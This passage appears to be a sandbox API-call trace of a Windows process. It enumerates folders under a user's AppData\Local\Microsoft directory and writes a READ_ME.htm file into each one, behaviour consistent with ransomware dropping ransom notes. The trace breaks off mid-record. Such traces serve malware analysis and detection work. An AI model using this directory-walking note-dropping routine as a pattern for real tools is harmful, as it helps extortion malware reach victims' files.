ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.144] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.144] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.144] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.145] SetErrorMode (uMode=0x0) returned 0x1 [0144.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3f [0144.145] SetErrorMode (uMode=0x1) returned 0x0 [0144.145] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.145] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.145] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.145] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.146] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.146] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.146] SetErrorMode (uMode=0x0) returned 0x1 [0144.146] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0144.146] SetErrorMode (uMode=0x1) returned 0x0 [0144.146] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.147] SetErrorMode (uMode=0x0) returned 0x1 [0144.147] GetFileType (hFile=0x1d0) returned 0x1 [0144.147] WriteFile (in: hFile=0x1d0, lpBuffer=0x2919ad0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2919ad0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.148] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3f [0144.148] SetErrorMode (uMode=0x1) returned 0x0 [0144.148] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.149] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.149] SetErrorMode (uMode=0x0) returned 0x1 [0144.149] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3f [0144.150] SetErrorMode (uMode=0x1) returned 0x0 [0144.150] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.150] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.150] SetErrorMode (uMode=0x0) returned 0x1 [0144.150] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0144.151] SetErrorMode (uMode=0x1) returned 0x0 [0144.151] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.152] SetErrorMode (uMode=0x0) returned 0x1 [0144.152] GetFileType (hFile=0x1d0) returned 0x1 [0144.152] WriteFile (in: hFile=0x1d0, lpBuffer=0x2920098*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2920098*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.153] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3f [0144.154] SetErrorMode (uMode=0x1) returned 0x0 [0144.154] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.154] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.155] SetErrorMode (uMode=0x0) returned 0x1 [0144.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3f [0144.155] SetErrorMode (uMode=0x1) returned 0x0 [0144.155] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x79861590, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0144.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0144.156] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.156] SetErrorMode (uMode=0x0) returned 0x1 [0144.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0144.156] SetErrorMode (uMode=0x1) returned 0x0 [0144.156] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.156] SetErrorMode (uMode=0x0) returned 0x1 [0144.156] GetFileType (hFile=0x1d0) returned 0x1 [0144.157] WriteFile (in: hFile=0x1d0, lpBuffer=0x2926660*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2926660*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.158] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0144.158] SetErrorMode (uMode=0x1) returned 0x0 [0144.158] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds cache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.159] SetErrorMode (uMode=0x0) returned 0x1 [0144.159] GetFileType (hFile=0x1d0) returned 0x1 [0144.159] WriteFile (in: hFile=0x1d0, lpBuffer=0x292ac30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x292ac30*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x30 [0144.161] SetErrorMode (uMode=0x1) returned 0x0 [0144.161] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.161] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.162] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0144.162] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, 